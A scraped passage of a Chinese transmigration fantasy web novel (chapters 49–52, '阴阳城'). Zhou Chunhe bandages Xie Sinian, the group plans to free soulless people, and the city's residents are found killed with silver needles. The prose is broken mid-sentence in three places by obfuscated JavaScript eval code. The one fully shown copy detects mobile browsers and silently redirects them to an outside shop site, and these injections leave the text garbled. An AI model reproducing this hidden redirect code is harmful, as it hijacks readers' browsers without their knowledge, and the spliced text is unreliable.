“吃,当然吃。我要吃那个最大的!” 看周春和的注意力又被转移,两个人你喂我我谢你的,谢斯年的表情有些不太好,但很快就抱臂似笑非笑的看着周春和:“……我要说的话说完了,现在轮到你了,所以周小姐,我很好奇你到底是怎么控制的那些人,难道也是靠着什么我们不知道的上古符咒?” 49. 阴阳城 周春和的笑容戛然而止,呆滞的张了张嘴:“……哈?” 糟了,刚刚太得意忘形,怎么把这一茬给忘了? 周春和的眼神顿时有些飘忽,一时间大脑飞速旋转,想找出一个合理的、能哄骗住谢斯年的解释。 但是想着想着,正焦头烂额时,周春和忽然灵光一现——等等,她为什么要费老大劲儿给谢斯年想解释? 那张万人迷卡牌是系统给她的,对于书中世界的人来说,就是属于他们不了解的一种力量,既然不了解,就没有办法判定真假,更没有办法验证。周春和也不可能把这一切告诉他们,先不说他们信不信,就说如果周春和真的说了,那她的任务也差不多可以算是失败了。既然他们不可能知道真相,那么真相就在周春和手中。事实到底如何不全凭周春和的一张嘴吗? 想到这里,周春和豁然开朗。 她一直拘泥于一处,何不放开了来看?反正谢斯年和傅怀玉不可能知道系统的事情,那么事实如何就全凭周春和的这张嘴了。 周春和的眼睛转了转,很快露出一人人畜无害的笑:“哎呀,这个,这个当然不是什么符咒了。其实我也不知道这究竟是怎么回事,我就记得醒过来之后,大家全都对我怒目而视,一个个都气冲冲的想要剜去我的眼睛,但是这时候外面忽然响起了一阵很奇怪的动静,我被绑着,没办法出去一探究竟,总之异响过后,洞内的人就像是变了一副模样,从一开始的凶神恶煞变成了现在你们看到的样子了。其实我本来也很好奇来着,但是我既出不去你们也没人进来的,所以也没办法一个去一探究竟,就只好在洞内等你们来了一起去探索探索。如今咱们都好端端的在这里,正好一会去那洞内瞧瞧究竟是怎么回事,看看是不是有人做局制裁我。你们不知道,我当时快要害怕死了,还好他们后来莫名转变了性子没有继续为难我,要不然我真是要在里面自裁以证自己不屈的风骨了。” 这一番话说的傅怀玉和谢斯年双双陷入了沉默之中,显然两个人都在思索那阵“异响”是什么。 周春和努力做出一个真挚诚恳的表情,让自己的话听起来有可信度。 这一番说辞虽然没头没尾,但两个人显然没往周春和扯谎那一方面考虑,想了一会儿实在想不出所以然之后,也就没再执着于这一点。 奔波了一路之后,又提心吊胆了半夜,现在一放松下来,就都有些疲倦。 周春和没骨头似的靠在床边,懒洋洋的去够水壶,却发现壶里的水没有了,傅怀玉见周春和还想喝水,便让他们休息,自己提壶下去烧水。 房间里只剩下周春和和谢斯年。周春和倒是不太累,只是有些困得慌,她双目迷离的盯着谢斯年看了一会儿,忽然想起来一件事情,立刻坐直了身体,眼神也清明起来:“谢斯年,你身上的伤口是不是还没有包扎过?” 谢斯年一怔。 若不是周春和开口,他几乎要忘记了自己身上还有伤口这件事。 那些伤口还是在幽梦居的时候被无魂人抓伤的,有的深可见骨,有的只是破了层皮。最深的伤口是肩膀的贯穿伤,血已经止住了,但是如果动一下扯到了伤口,还是会流出血来。 谢斯年偏爱穿黑色衣裳,这样不管大伤还是小伤就都看不出来,即便是血流成河,染在黑色的衣服上也丝毫不显。相比于裴瑾来说,其实谢斯年伤得更重,但他从头到尾都一声不吭,而且那血迹也不如裴瑾的浅蓝色衣裳明显,这也就导致除了亲眼见过谢斯年受伤的人之外,其他人都不知道谢斯年伤的有多重。 可谢斯年这一路上实在是太正常了,不管是说话还是行动都和平时没有任何区别,正常到就连周春和也几乎忘记了谢斯年其实还受过很重的伤,就更别说一心扑在周春和和裴瑾身上的周夏莲了。 如果所有人都没有发现谢斯年还受着伤该怎么办呢?如果就连周春和也忘记了呢?他要自己忍下去吗?可是这么重的伤,他怎么能忍住疼呢? 周春和搓了搓脑袋,有些心疼的叹了口气:“我来帮你包扎一下吧?” 谢斯年沉默了,片刻后,他简短的说:“不必了,一会儿阿姐收拾好了还要去解决地下城的事情,没必要耽误时间。” 周春和一听火气就上来了——这人也太不值得爱惜自己的身体了,肩膀上被戳穿了一个洞,包扎一下也叫“耽误时间”?她硬邦邦的说:“你爱包扎不包扎,反正疼的不是我!” 她原本以为这么说谢斯年会犹豫,可抬头偷偷看向谢斯年,他依然是那副不在意的模样,他确实对自己身上这些深深浅浅的伤口毫不在意。于是周春和又有些生气,气他不爱惜自己的身体,更气他不顺着自己给的台阶下来,她挑了一块谢斯年没有受伤的地方一掌打过去,怒气冲冲道:“还真不打算包扎?怎么没有疼死你呢?!” 谢斯年被周春和冲的后退两步,抬起眼睛看向周春和,眼底似乎闪过一丝困惑。 周春和气呼呼的说:“算了!这次我大发善心,下次你再这样我就不管你了,疼死你也活该!” 她拉着谢斯年让他坐在床上,表情从头到尾都紧绷着:“坐下,我给你简单包扎一下。” 谢斯年这次没再说什么,乖乖的坐到床上。 肩膀上的伤口不太好包扎,所幸周春和之前骨折过也大面积被烫伤过,所以对这些还算有一定的了解。只不过在解衣服的时候,周春和犯了难——这腹黑病娇的衣服似乎不太好解开啊。 她试着拽着肩膀的衣服往旁边扯了扯,没扯开,一时间也有些生气,走到正前方一手揪住一边的衣领往两边狠狠一拽。 只听见“撕拉”一声,谢斯年的衣服彻底被周春和剥下,露出一大片白晃晃的身体和交错的伤痕。 这一下似乎用的力气太大了,原本谢斯年只需要把有伤的地方露出来,现在……现在谢斯年身上该露的不该露的全露出来了。 周春和:“……” 她咳嗽了一声,视线飘远又飘回来,努力让自己看起很无辜:“我可不是故意的啊,要怪就怪你这衣服设计的太不合理了,刚刚我怎么扒都扒不下来,谁知道就这么轻轻一弄就弄掉了……” 谢斯年的身上并没有那种很明显很大块的肌肉,但他胜在身体无比匀称,该有的都有,腹部是手感很棒的薄肌。周春和毕竟是个女人,而且是个血气方刚的女人,于是乎说着说着,面对这具非常具有美感的男人的身体,视线又忍不住飘忽起来,偷偷看了好几眼。 谢斯年明明看见了,却当没看见,只是似笑非笑的盯着周春和:“看够了吗,周小姐?” 周春和一个激灵,连忙讪笑着拿出之前周夏莲准备的包扎用具,辩解道:“我这是看看你哪里有伤口,可没有再看你的腹肌啊。咳……不过话又说回来,你这腹肌好像挺不错的啊……” 谢斯年冷哼一声:“比其周小姐刚刚在溶洞内追逐的那几个可是差远了吧?” 周春和虽然不知道谢斯年为什么要提起刚刚的事情,但她敏锐的听出谢斯的情绪并不好,于是赶忙捋着毛顺:“那自然没有,照我来说,他们所有人加起来都比不上你一个,你看看你这腹部形状多么的匀称优美,摸起来是多么的顺滑,闻起来是多么的喷香……啧啧啧,就是我一个女生看了都觉得血脉喷张,更别说别人了!所以啊,谢斯年,你不比任何人差。” 谢斯年冷哼一声,到底是没再说话。只是轻轻往后靠了靠——周春和知道这是他完全放松的表现,于是也更加游刃有余的帮他将那些很重的伤口包扎起来。 谢斯年身上的伤口确实很深,有的周春和都已经缠好了纱布,可不一会儿又洇出血来,周春和包着包着,心里涌上一种说不清道不明的情绪,闷闷的,有些难过:“……你之前受伤的时候,也不包扎吗?” 谢斯年懒洋洋的说:“在进巫山谷之前经常受伤,不过那时候没钱,受伤了只能扛着,扛过去了就过去了,扛不过去也只能听天由命。我命大,是以一直挺到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可谁知一抬头,就看见周春和眨巴着眼睛看着,眼里并没有任何那种优越感和居高临下怜悯他的神情,有的只是认真和狡黠笑意:“刚刚拿纱布不小心带出来了,就给你一块吧。这可是我珍藏的呢,吃的时候一定要细嚼慢咽好吗?把糖纸上面粘的糖也舔干净,一定要仔细舔,上面一般都会留下不少,一点也不许给我剩下,要不然被我抓住了就让你捡起来重新舔,还得再赔我十个金叶子。” 说完周春和还自豪且得意又骄傲的仰了仰头,心说糖纸上的吃起来别有一番风味,这件事可是很少能有人注意到,她可真不亏是是个老吃家。 谢斯年:“……” 周春和说完无意间低头看了一眼,看见了谢斯年手里的还没来得及被他收起来的两枚糖,顿时大惊失色——卧槽,怎么还多掉下去一块? 她以迅雷不及掩耳之势把多的那块拿回来藏好,讪笑道:“咳……这是它自己滑下去的,可不是我想给你的。我本来就想给你一块来着,这个不算,这个是我自己最喜欢吃的,你就别想觊觎了。” 谢斯年:“……” 谢斯年冷笑一声。 他刚刚在想什么?真是着了魔了,他怎么会觉得周春和是那种自命不凡的人呢?他甚至不该拿周春和与那些人比较,因为周春和从来都和别人不一样,和那些高高在上的世家子弟更不一样。 她就是她,她不像任何人。 谢斯年虽然面上冷笑,但其实在那一瞬间他心里是觉得轻松愉快的。 恰好这时候周夏莲已经帮裴瑾包扎完毕,也简单将自己身上的伤口处理了一下。 除了他们两个去过二楼的受伤颇深以及已经被周春和包扎好的谢斯年之外,其余人就都没什么太重的伤了。这时候傅怀玉也端着茶水回了房间,大家捡重要的事情给尚不知情的周夏莲和裴瑾解释了一下整件事的来龙去脉,然后便坐下来一起商议接下来要去做什么。 50. 阴阳城 谢斯年抱臂似笑非笑的看着周春和提议道:“既然那些人这么听周小姐的话,不如让周小姐独自一个人过去把那些人招安?” 周春和立刻大惊失色道:“不不不,这怎么能行,我……我刚刚那只是偶然,说不定是因为他们作恶多端,让老天都看不下去了,让他们画的阵的某个阵脚出了问题,这才叫我钻了空子。现在说不定他们已经发现了不对劲,把那不对劲的地方全部纠正过来,已经不听我的话了。” 开玩笑,那张【万人迷卡牌】又不是没有时间限制,要是她真独自一人去了,等卡牌失效,那些人不打死她才怪呢! 所幸谢斯年只不过是故意找事儿,就这么逗逗周春和而已,并没有人当真。大家商议了一下,张奶奶这干人等倒是好处理,可那些无魂人该如何是好? 根据那书上记载,无魂人会一直被炼化他们的人操控,所以即便是他们将张奶奶抓住,那这些无魂人也没有办法得到自由。 大家在知道炼化无魂人的事情之后,便都心里明白这些无魂人并不是一个个器物或者是张奶奶那些人用来杀人的利器,他们也曾是一个个活生生的人,也曾有自己的喜怒哀乐和志向抱负。他们来到此处,原本是踌躇满志的想要替百姓解决难题,他们不会想到自己见到的那些身处弱势的人反而才是杀人凶手,更不会想到自己会以这种方式死在最信任的人手里。 他们被活生生炼成无魂人的时候会想什么?周春和猜不到,但她也经历过命悬一线时的恐慌和绝望,更经历过知道真相后的那种信任被打碎的感觉,她有系统、有阿姐和志同道合的朋友会护着她,所以她可以侥幸活下来,可那些满腔热血孤身前来猎妖的猎妖人什么都没有。 他们理应给这些曾经的猎妖人一个妥善的去处,至少不应该让他们潦草的埋没在这阴阳城。 周夏莲的表情有些严肃,她沉思一会儿,环顾四周问道:“你们可曾有人见过破解之法?” 谢斯年摇了摇头,裴瑾也一脸无奈的说:“似乎没有。” 谢斯年看的那些书只写了创世神是如何炼化驱动这些无魂人为自己做事的,并没有提到怎么让无魂人自由。 这时候,傅怀玉却轻轻动了,他若无其事的笑道:“我倒是在古籍上看过有关无魂人的事情。” 周夏莲眼睛一亮,一脸期盼的问:“那书上可有些如何让无魂人自由?” 傅怀玉点了点头,可脸上的神情并没有轻松的意味:“书上并没有确切的说明这个方法有用,只不过是提到了说这个方法在理论上可行——也就是说,这还只是个猜想,并没有人成功的实施过。” 周夏莲立刻道:“如今也没有其他办法了,有个方向总比无头苍蝇似的乱找好。傅公子,这究竟是什么办法?大不了我们尽力一试,实在不行也就罢了,再寻找其他出路便是。” 听周夏莲都如此说了,傅怀玉这才温和道:“这个方法说简单倒也简单,它和我们眼下正寻找的‘补天石’有关。据说这补天石乃是女娲亲手炼过、补天时并没有用上的那一块。补天石补天,意在‘补’字,既然它能补天,那么凡间的事务更不在话下。找到补天石后,开阵激发出补天石的神力,便可以补齐无魂人身上被炼化的三魂六魄,虽不一定能还他们原本的模样,但起码可以让他们自由,不再受人驱使。” 大家一听,齐齐陷入沉默之中。最后周夏莲和裴瑾对视一眼,周夏莲眼神一敛,微不可察的朝裴瑾点了点头。 她又扭过头来,看向傅怀玉的眼神变得无比坚定:“既然如此,那我们便去寻找补天石。正好傅公子也要去寻找补天石,那我们便跟着一起,等找到之后,我们借用片刻,将那些无魂人的魂魄归还回去,然后便将补天石交还给傅公子。” 傅怀玉温和一笑:“姑娘言重了,补天石并非属于我,我也不过是借来一用。既然如此,我们正好同行。” 周夏莲点点头,裴瑾想到了什么,又道:“只是我们寻找补天石并不是一日两日就可以结束的,在我们离开之后,这些无魂人要如何安置呢?” 周夏莲果然又陷入思索之后,傅怀玉依然温和的开了口:“这个倒也简单,有一种名叫‘冰封术’的符咒,可以将人在短时间封印在某处,被封印的人会失去意识,但是不会伤害此人的性命,待结束之后,这人便会醒过来,咒术不会伤害他分毫,而他的一切也都如初。只是会让他失去意识一段时间。” 周春和恍然大悟:“就像是时间暂停了一样,对吗?” 傅怀玉温柔的看向周春和,眼中带了点笑:“周姑娘描述的很准确,确实很像时间在这个人身上暂停了。” 周春和道:“那这样的话,岂不是正好?正好张奶奶被抓之后的这段时间不知道该怎么办,用了这个冰封术便可以让他陷入沉睡,等咱们找到了补天石再唤醒他们,这样既不会让他们在这段时间惹出乱子,也不用再叫专人看管——只要给他们找到合适安全的地方让他们沉睡就好了,正是一举两得的法子。” 周夏莲也觉得这个方法不错,于是点点头道:“这确实是个不错的办法,那咱们就先这样吧。” 裴瑾点点头,大家都很赞成,只有谢斯年纹丝未动,目光带着探究的看向傅怀玉,嘴边携着一丝冰冷的弧度:“这些符咒我似乎从未见过,便是寻常猎妖人大概也未曾见过,我倒是好奇,傅公子是从哪里知道这些的?” 周春和一听,似乎也觉得傅怀玉知道的太多了,她向傅怀玉投去疑惑的目光,就见傅怀玉很寡淡的笑了笑:“我曾说过之前祖父喜欢从四处收集孤本和古籍,我少时无事,便将那些古籍翻来看看,久而久之就也看到了许多如今并不被世人了解的符咒。谢公子谬赞了,我不过是恰好读的书多些,而那些书中又恰好提到了这些东西而已。” 谢斯年看向他的目光含着浓浓的怀疑,但并没有继续追问下去,而是露出一个很灿烂很少年的笑,只是那笑容并没有到达眼底:“原来是这样啊,那等以后有时间了,我一定要去傅公子的家中拜访一番, 瞧瞧那些孤本是什么样的,说不定还能增长见识呢。” 傅怀玉笑得同样温和可亲:“只是寒舍没什么值得招待的东西,还希望谢公子不要嫌弃。” 两个人你一言我一语的客气说话,周春和完全没有听出两个人的和谐下的明枪暗箭,还以为俩人已经哥俩好到这种地步了,她一见气氛都已经烘托到这儿了,也忍不住笑嘻嘻的上去,一个拿着一只手,将两只手郑重的叠在一起:“哎呀,咱们谁跟谁啊,大家都一起并肩走了这么久了,就没必要再讲究虚礼来回客气了,听我的,到时候你们都来巫山谷,咱们不醉不归、一醉方休!” 谢斯年:“……” 傅怀玉:“^-^” 谢斯年冷笑一声,把手抽了出来。 傅怀玉却没动,谢斯年把手抽走之后,傅怀玉的手就和周春和的手交叠在了一起。 傅怀玉笑着回握了一下周春和的手,算是示意:“好,如果你想的话,天涯海角我也愿意和你一同前往。” 周夏莲和裴瑾看着傅怀玉这般模样,又转头看看还在嘿嘿傻笑的周春和,又扭头看向傅怀玉那含着笑意正专注看着周春和的眸子,仿佛被闪电一下子击中了天灵盖般,顿时醍醐灌顶茅塞顿开恍然大悟如梦初醒,他们似乎明白了什么——怪不得这他们一直和这傅公子在一起他也不嫌麻烦,怪不得他这一路上帮他们许多,怪不得……原来,原来这一切都是有原因的,这个原因,就是周春和! 周夏莲喜上眉梢,和傅怀玉同行的这一路,她已经大致摸清了这位傅公子的脾性喜好,抛开家世不谈,这位傅公子在每一方面都是极好的,行事大方,做事缜密,温柔中又带着一丝不易察觉的刚硬,接人待物完美无缺,只是不知道家世如何。 不过周夏莲一向不看重这些,她觉得两情相悦才是最重要的,就像是她从不在意裴瑾家世如何一样。 若是周春和对傅怀玉也有意,两个人两情相悦,那这桩事情就是极好的。 周夏莲和裴瑾用一种了然的眼神看着两人,表情里带着一种哇塞磕到了磕到了的兴奋。 周春和完全没注意到周夏莲的目光,更没感觉到气氛有什么不对劲,她只是一味的称傅怀玉为好兄弟,并且拍拍他的肩膀,一脸期盼:“好,不愧是我最好的兄弟!便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周春和脱口而出:“不是为了杀掉被幽香居哄骗来的猎妖人吗?而且还可以扮演城中居民,让里正的编的谎话看起来更真实些。” ——但说完周春和就愣了,那杀掉猎妖人呢?是为了什么,为了炼无魂人吗?那炼完无魂人呢,为了吸引猎妖人把他们杀掉,然后呢,再炼无魂人?可这样循环往复下去究竟是为了什么? 大家的表情果然就变得耐人寻味起来。 谢斯年表情阴沉道:“而且还有一点我也觉得很奇怪,阿姐刚刚也说了,那个炼无魂人的大阵已经流传许久,既然他们不会画符,那又是谁给他们画的这个大阵?既然能以一己之力画出这么一个大阵,想必实力也差不到哪里去,那么他画这个阵的目的又是什么?” 裴瑾皱了皱眉,表情变得有些严肃,显然也都意识到了不对劲。 周春和想到了什么,提议道:“既然如此,不如咱们一会抓住那些人的时候,先去审问他们一番?说不定还能从他们嘴里套出什么,得到问题的解释。” 周夏莲点了点头:“这确实是个不错的主意。” 周春和又想到了什么,眼神一亮,有些激动的站出来说:“哎!说不定我那个让他们言听计从的阵法还没有消失,要不一会儿我先去问问,看能不能问出什么。假如阵法真没有消失的话,那么我们就能很容易从他们嘴里套出话来了,也不必兴师动众大打出手。” 按照卡牌的使用时间,现在离失效应该还有几个小时。 周夏莲连忙露出一个鼓励的好:“好,不过要先去看看他们是不是还对你很友善,一定要在确保自己安全的前提下才可以冒险。” “好,姐姐你就放心吧!有你们的保护,我一定不会出问题的!” 众人收拾好了之后,便一道往阴城走去。 顺着井绳来到地下,一切都还是原本的模样,甚至连周春和刚刚让等着的那个人都还在原地等着。【万人迷卡牌】的时效还没过去,所以那人看向周春和的目光依然是饱含深情的。 察觉到那人的目光,周春和对他露出一个和善的笑,朝他伸了伸手:“来,我有件事想问你。” 那人傻笑着凑过来,其余人不知道【万人迷卡牌】在失效期内是无敌般的存在,都担心发生异常,所以全部不动声色的守在周春和身边,等一有异动便能立刻出手保护周春和。 周春和笑眯眯的朝那人问:“你可知道这城中的大阵是谁布下的?” 那人笑着刚张开嘴巴想要说话,忽然之间,一道拇指大的阴影不知从何处闪了过来,一下子射进他的嘴里,将他的脖颈击穿。 51. 阴阳城 那道阴影来得极快,在众人都还未曾反应过来之际,已经射穿了那带路人的咽喉。 那人倒下去的时候,脸上的表情还无比的茫然,似乎也没明白怎么电光石火间就忽然变成这样了。 不止他反应不过来,正和他说着话的周春和直到人倒下都还没意识到发生了什么。谢斯年和傅怀玉的反应倒是极快,几乎是在那人即将倒下之时便一左一右来到周春和身边将她护在里面。 周夏莲和裴瑾紧随其后,大家将周春和围在中间,浑身紧绷的留意着周围是否有不对劲的动静,生怕第二支暗箭不知道何时就放了出来。不过好在隔了一会儿之后并没有第二枚武器出现,大家见暂时安全了,这才有空去瞧瞧倒在地上的那个人。 血自他后脑勺处蔓延开来,人已经没了气息。 那个要了他的命的东西打穿他的脖颈之后斜斜的飞入了墙壁之中,谢斯年走上前去将那玩意儿取了出来,竟然只是一个一头被磨利了的小石子。石子上还沾着血迹,原本温热的血液此刻已经凉透了。 周春和蹲下身,有些难以置信的看着地上已经逐渐冰冷的人,虽然知道他不是好人,虽然知道他甚至就在不久前还想将她们炼成无魂人,可等真看到他的尸体时,周春和一时间还是有些难以接受。 这毕竟时一个活生生的人啊,甚至这人就在不久前还在好好的同她说话,谁知道上一秒她马上就要问出这一切究竟是怎么回事,下一秒这人就被当街暗杀……明杀了。 如果当时周春和站的再近一点,说不定那温热的血液还会溅她一脸。 骤然见到一个大活人就这么不明不白的死在自己眼前,周春和嘴唇都有些发白。那种离死亡极近的感觉更是让她久久回不过神来。 周夏莲拍了拍她的肩膀,看出周春和的状态有些不大好,忍不住叹了口气道:“若是觉得不舒服,就先去旁边休息片刻吧。” 周春和脸色不太好的点了点头,知趣的退到一侧,给其他人留下查探的地方。 谢斯年和裴瑾已经搜遍了这人的身体,并没有发现什么有用的东西。刚刚那石子飞来的太快也太让人猝不及防,是以大家只注意到了石子飞来的大致方位,并没有留意究竟是从哪个确切的位置被人扔过来,更没有看清楚是谁扔的。 大家顺着石子飞来的地方找过去,几个人再也没有了来时的那种轻松愉悦,而是被警惕和疑云所笼罩。 沿着石子小路一路往前走去,大家很快进入了阴城内部。 原本还很热闹的阴城不知为何此刻没有一点声响,大家越往里走便越觉得似乎城中过于安静了些,而那种伴随着安静升腾起来的不对劲感也愈来愈烈。 走了半段,大家不约而同的停下了脚步。 一种诡异感涌上大家的心头,所有人几乎的意识到了这里不对劲。 刚刚他们走时,张奶奶他们全部都留在了地下。虽然十几个人居住的地方不会多么热闹,但也不至于如此冷清,这和他们离开的时候完全不一样。不仅听不到一点交谈声,就连小孩啼哭声也听不见。 这地下城像是在一夜之间忽然被清空了一样,只留下一个空壳子,里面的东西已经全部消失不见了。 这究竟是怎么回事? 大家互相对视一眼,彼此都从对方的眼神中看到了惊疑不定。 不过眼下也没有停止的道理,大家拿好自己常用的符纸和法器,周夏莲嘱咐周春和几声,然后大家便更加谨慎的往里走。 城中心依然静悄悄的,除了他们几人的脚步声之外便再也没有其他声音了。 周夏莲皱了皱眉,随手推开一户人家的门,正要开口打招呼,可整个人却一下子静止在原地。 裴瑾和谢斯年察觉到不对,连忙一个箭步冲了上来,待看清里面的景象之后,也都忍不住双目睁大,满脸犹疑——只见房间内一切无恙……除了那个双目睁大、满脸惊恐的倒在椅子上面、死不瞑目的张奶奶。 周春和看到这一景象,顿时震惊的瞠目结舌。她想去看看张奶奶究竟是如何死的,但周夏莲和裴瑾的动作更快,两人已经围住了张奶奶,细细察看她身上是否有什么伤。 周夏莲翻到了某处,惊道:“你们快来看这里!” 众人被吸引了注意力,立刻看向周夏莲所指的位置,只见张奶奶的脖颈上有一处极其细微的红点,若是不仔细观察,很容易就把这个红点忽略。 裴瑾和周夏莲对视一眼,说道:“看来此人杀人的方式是用针。” 周夏莲沉吟道:“还是再瞧瞧有没有其他伤口吧。” “好。” 两个人又仔细检查了一遍,但是除了这个细小的伤痕之外,没再找到其他伤口了。 谢斯年抱着臂靠在房间的柱子上,看着房间的几个人忙活,闲闲地说道:“我记得曾经江湖有个猎妖门派以针为武器,此针名叫银环针,门下弟子个个会使用银针,不管是近身还是在远处,银针都是极好的偷袭工具。他们的银针都是经过特制的,针尾不是寻常的圆形,而是尖尖的棱形,针尾还刻有细微的银环蛇痕迹。若是能找到那枚用来攻击的银针,便可分辨是不是那个门派的人所为。” 周夏莲和周春和面面相觑,两人从未听说过有什么门派是以针为武器的。 裴瑾沉吟片刻,回答道:“难不成谢公子说的这个门派是银环山?他们信奉银环蛇这种动物,是以以银环蛇为图腾,他们使用的银针上沾有银环蛇的毒液,可以使人在被银针刺中之后被一击致命。” “不错。” “不过就我所知,这个门派在十几年前便已经消失于世间,怎么又会忽然出现?” “所以我说,找到那枚杀人的银针,便可以判别是否是那个门派所为。” 周春和了然道:“怪不得我在巫山谷时从未听说过这个门派,原来是已经消逝了。不过既然已经不复存在,你们又是怎么知道的?” 连周夏莲都不知道的事情,谢斯年竟然知道。这人也太博闻强识了吧。 裴瑾温和笑道:“这些年走南闯北,除妖之际也听过不少闲闻轶事,那银环山虽说早已不在,但只要曾经存在过,就不可能不留下一点痕迹。我有一次捉妖恰好就在银环山旧址附近,曾听人说起过银环山的事情,这才对银环山一知半解。” 谢斯年则是嗤笑一声,但是当着周夏莲的面,他的笑容又变得异常灿烂:“若是你把巫山谷的那些古书全部看一遍,也能知道银环山的法器是什么。” 周春和啧啧称奇道:“看不出来你还挺爱学习。” 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576657|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯年想到什么,表情似乎带着讥诮:“那却不如你的傅公子博学。” 傅怀玉听了只是温和一笑,表情彬彬有礼,端的是翩翩公子,温润如玉:“谢公子谬赞了,我才疏学浅,当之有愧。” 谢斯年似笑非笑的盯着傅怀玉看了一会儿,只是那笑容怎么看怎么瘆人:“傅公子太谦虚了。” 周春和不明白两人怎么忽然开始互相谦虚起来了,一脸诚挚笑容的插在两人中间,笑眯眯的说:“好啦,你俩什么时候关系这么好了?不会背着我偷偷出去一起喝酒了吧?你们可不能老是单独行动,背叛咱们三人组的友谊啊!” 傅怀玉温柔的笑起来:“周姑娘放心,自然不会落下你。” 谢斯年同样笑得和蔼可亲:“是啊,你就放心吧。” 虽然周春和觉得谢斯年笑里藏刀,但她只当是自己多想了,笑着拍了拍两人的肩膀,一脸语重心长:“你们有这个觉悟就很好了。” 巫山谷又称药谷,是以草药闻名于世,谷中弟子几乎人人都会用药——除了半路被找回来的周春和和谢斯年。这也就是为什么周夏莲会随身带着药给裴瑾医治了。 除了巫山谷之外,当今世界上还有许多闻名的门派,各个门派所擅长的武器不同,巫山谷除了用药厉害之外,他们使用法剑也是一绝。周夏莲的武器就是剑,周春和其实也有一把,只不过她根本不会用,所以一直让周夏莲收着,平日里只是用用符咒。 裴瑾不是巫山谷的人,到目前为止也是一直在用剑,似乎还没有用过自己的法器。不过周春和看过原著小说,是以知道他的最厉害的武器是一根名叫昆仑的法镜和镇妖铃。 昆仑镜和镇妖铃非关键时刻不会现身,周春和还记得小说里写的是到了最后这两个法器才现身,挡住了原主对周夏莲的致命一击,救下来了周夏莲。 虽然门派众多,以针为武器的倒还真是从未听说。如今听裴瑾解释,周春和才了然。 大家搜寻了片刻,竟真找到了那枚银针。银针就在张奶奶的脖子里,被刺进去之后,就没有再被拿出来。裴瑾将银针逼了出来,垫着白布将针放在手心里。待擦干上面的血迹之后,大家便围上来瞧了瞧。 却不想结果既在意料之中,又在意料之外。 那针上面真的如谢斯年所说,针尾是菱形,上面刻着银环蛇的图案。看来是银环山门派无疑了。 只是大家都觉得疑惑,银环山这个门派早已覆灭,此刻他们的独门武器却为何又在这里出现? 而且这阴阳城又如何牵连到银环山这一猎妖人的门派?张奶奶和银环山究竟是什么关系,为什么恰好在今日、在他们要来套话之时出现将人灭口? 无魂人和银环山究竟是什么关系?而前来灭口的人为什么悄无声息的杀掉了全城人,却独独饶过了他们?他们究竟想瞒住什么秘密? 大家一时间都觉得疑云重重,又转身去瞧了瞧其他房间,不出所料的发现那些人已经全部被银环针杀掉了,甚至就连那个小女孩还没有被放过,可见灭口之人手段残忍且心狠手辣。除了那些无魂人尚且被压制在阵内,整个阴阳城的人已经全部丧命于此。 这时候,正在查看小女孩情况的周夏莲忽然惊骇地叫了一声:“你们快过来看,这小女孩身下有东西!” 52. 阴阳城 众人闻言连忙凑近来看,周夏莲举着一封被压在小女孩身下的信封,一脸惊异的朝其他人说:“杀人者留下了一封信。” 周夏莲连忙拆开信封,信上只有三个字,周夏莲一字一句将信上的内容读了出来:“阴花渡。” 念完之后,她不解的看向裴瑾:“阴花渡是什么地方?” 裴瑾沉吟片刻,回答道:“阴花渡便是那银环山的旧址了,我上次除妖路过此处,正是在这里听到的有关银环山的消息。” 谢斯年勾了勾唇,只不过眼睛里却只有冷冽之气:“看来此人生怕我们不知道银环山,还特地将地址留了下来。他如此急切的想要我们去银环山旧址,究竟是想让我们知道什么呢?” 周夏莲沉声道:“此人大费周章的杀掉阴阳城中所有居民,可见也有引我们过去的念头,既然如此,我们想知道的东西摸约能在那里找到答案。走吧,咱们先去阴花渡瞧瞧,看看究竟是怎么一回事,要这么费尽心思的引导我们。等解决完阴花渡的事情找到答案,然后咱们再去寻找补天石,救治城中的无魂人。” 大家一致同意,此时天色已经明亮起来,周夏莲给巫山谷送了信鸽,请人来料理城中其余的事务。他们一夜没睡,又奔波忙碌了这么久,如今骤然松懈下来,都感觉到了一股浓浓的困倦睡意和疲惫感。 周夏莲便叫各人先回房休息,等吃过午饭用冰封术将无魂人暂时封印在此处再出发去阴花渡。 一沾上床铺,周春和的眼皮就直打架。傅怀玉烧了桶温水,正在隔壁房间简单沐浴。周春和实在是困得睁不开眼,所以刚刚上楼时就拒绝了傅怀玉的沐浴邀请,直接进屋和衣睡觉。 不过在彻底睡过去之前,她脑子里还记挂着自己的任务,还对两个男配的好感度念念不忘,所以她垂死梦中惊坐起,大喊男配我可以,强撑着挤出一丝不甚清明的意识戳了戳系统,问它此刻的好感度情况。 系统将两人的数据平铺在周春和面前,周春和起先只是毫不在意的一瞥,但是等看清上面的数据之后,她的双目猝然睁大,眼神里的睡意消失了大半,她满脸难以置信的盯着傅怀玉那一栏的数据,双眼一下子变得炯炯有神起来——天啦噜,傅怀玉对她的好感度竟然达到了惊人的百分之九十五! 那可是百分之九十五啊!只差百分之五就到百分之百,她就可以顺利的完成任务,就可以改变必死命运……说不定还可以回家了! 就只差——百分之五! 周春和仿佛看到了百分之百四个大字闪着金光飞了过来,差点闪瞎周春和的钛合金狗眼。周春和觉得热血沸腾,觉得胜利就在眼前,觉得自己马上就能得偿所愿! 兴奋和激动一瞬间冲击了周春和的大脑,令她的睡意消散大半。 